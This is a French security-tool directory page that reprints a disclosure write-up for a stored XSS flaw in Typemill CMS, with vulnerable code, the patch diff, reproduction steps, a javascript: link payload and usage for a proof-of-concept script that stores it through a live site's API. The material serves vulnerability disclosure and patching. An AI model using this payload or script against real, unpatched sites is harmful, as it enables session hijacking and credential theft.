Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-44401 — XSS persistante dans Typemill CMS : l'analyseur Markdown laisse passer les URI `javascript:` sans filtre. Writeup + PoC. | Kitploit
Outils/GitHubGitHub/sn0x-sharma/cve-2026-44401
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubsn0x-sharma/cve-2026-44401

CVE-2026-44401

XSS persistante dans Typemill CMS : l'analyseur Markdown laisse passer les URI `javascript:` sans filtre. Writeup + PoC.

Voir le dépôt
1il y a 9 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
ChatGPT Image Aug 11, 2026, 02_18_30 PM
CVECVE-2026-44401
CWECWE-79 (Improper Neutralization of Input During Web Page Generation)
Versions affectéestypemill/typemill >= 2.0.0, < 2.23.0
Corrigé dansv2.23.0 (commit 31b72ea)
Authentification requiseOui, tout rôle disposant des droits ACL system:update (admin ou manager par défaut)
CVSS (rapporteur)7.6 / Moyen-Élevé
CVSS-B (VulnCheck, v4.0)4.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L
Créditsn0x (@sn0x-sharma)
AvisVulnCheck

Le score est Moyen plutôt que Critique car il nécessite PR:H (privilège de configuration du thème) + UI:A (une victime doit cliquer sur le lien) — mais la charge utile est stockée, donc elle s'exécute pour chaque visiteur qui clique.

Résumé

Typemill est un CMS Markdown à fichiers plats. Son analyseur Markdown ne valide pas le schéma d'URI des cibles de liens avant de les écrire dans un attribut href. Un utilisateur ayant accès à la configuration du thème (par exemple le champ texte Landingpage Intro Segment, qui accepte du Markdown brut) peut stocker un lien javascript:. Il est rendu sans échappement sur la page d'accueil publique et s'exécute dans le navigateur de quiconque clique dessus : XSS persistant (stocké).

Cause racine

ParsedownExtension::inlineLink() — system/typemill/Extensions/ParsedownExtension.php, lignes 934 à 996 (v2.22.0, dernier tag vulnérable).

Les liens relatifs et les liens media/ reçoivent un préfixe d'URL de base, mais rien ne vérifie le schéma de l'URI avant qu'il ne soit assigné à href :

root@kitploit:~
# start typemill: if relative link or media-link
$href = $matches[1];
if($href[0] == '/')
{
    $href = $this->baseUrl . $href;
}
elseif(substr( $href, 0, 6 ) === "media/")
{
    $href = $this->baseUrl . '/' . $href;
}
# end typemill

$Element['attributes']['href'] = $href;   // <-- no scheme validation

[Click me](javascript:alert(document.domain)) → <a href="javascript:alert(document.domain)">Click me</a>.

Chemin de rendu pour ce sink spécifique : themes/cyanine/home/landingpageIntro.twig → TwigMarkdownExtension.php → ParsedownExtension.php. Tout autre champ de thème qui fait passer le Markdown utilisateur par le même analyseur est également concerné.

Le correctif (v2.23.0)

root@kitploit:~
              # end typemill
-
+
+             # block dangerous URI schemes (e.g. javascript:, vbscript:, data:)
+             $scheme = parse_url($href, PHP_URL_SCHEME);
+             if ($scheme !== null && !in_array(strtolower($scheme), ['http', 'https', 'mailto', 'ftp'], true))
+             {
+                 $href = '#';
+             }
+
              $Element['attributes']['href'] = $href;

Même liste blanche (http, https, mailto, ftp) proposée dans le rapport original. Confirmé en comparant ParsedownExtension.php entre les tags v2.22.0 et v2.23.0.

Note sur les privilèges

Les routes de configuration du thème (GET /tm/themes, POST /api/v1/theme) sont soumises à la ressource ACL system/update — selon les définitions de routes de Typemill lui-même (routes/web.php, routes/api.php) celle-ci est accordée par défaut au rôle manager, pas seulement à l'administrateur. L'exposition n'est donc pas limitée au compte administrateur de plus haut niveau.

Étapes pour reproduire

  1. Connectez-vous en tant qu'utilisateur disposant d'un accès à la configuration du thème → Système → Thèmes → Configurer (thème actif, p. ex. Cyanine).

    image
  2. Développez Landingpage Intro Segment → dans « Texte pour votre introduction de page d'accueil (utilisez le markdown) », saisissez :

    root@kitploit:~
    [Click me](javascript:alert(document.domain))
    
    image
  3. Enregistrez. Visitez la page d'accueil en tant que n'importe quel utilisateur et cliquez sur le lien → le JS s'exécute dans la session de ce visiteur.

    image

Preuve de concept

CVE-2026-44401_POC.py - deux modes :

root@kitploit:~
# Offline: exercises the parser directly against a Typemill checkout
# (composer install already run, so vendor/ exists)
python3 CVE-2026-44401_POC.py local --source /path/to/typemill

# ...or straight against a running container, same way it was originally verified
python3 CVE-2026-44401_POC.py local --docker typemill --container-path /var/www/html

# Live: logs in, stores the payload via the theme-settings API, confirms the
# raw javascript: href on the public homepage, restores the original value
python3 CVE-2026-44401_POC.py remote --url http://localhost:8080 \
    --username admin --password '********'

Reproduction manuelle minimale (ce qui a permis de vérifier le rapport) :

root@kitploit:~
php -r '
  require "vendor/autoload.php";
  require "system/typemill/Extensions/ParsedownExtension.php";
  $p = new \Typemill\Extensions\ParsedownExtension("",[],null);
  echo $p->markup($p->text("[x](javascript:alert(1))"));
'
# vulnerable: <p><a href="javascript:alert(1)">x</a></p>
# patched:    <p><a href="#">x</a></p>

Impact

  • Détournement de session admin/manager (vol de cookies)
  • Vol d'identifiants via des formulaires/redirections injectés
  • Enchaînement vers d'autres actions authentifiées en tant que victime

Références

  • Dépôt Typemill
  • Version corrigée — v2.23.0
  • Avis VulnCheck
Télécharger l’outil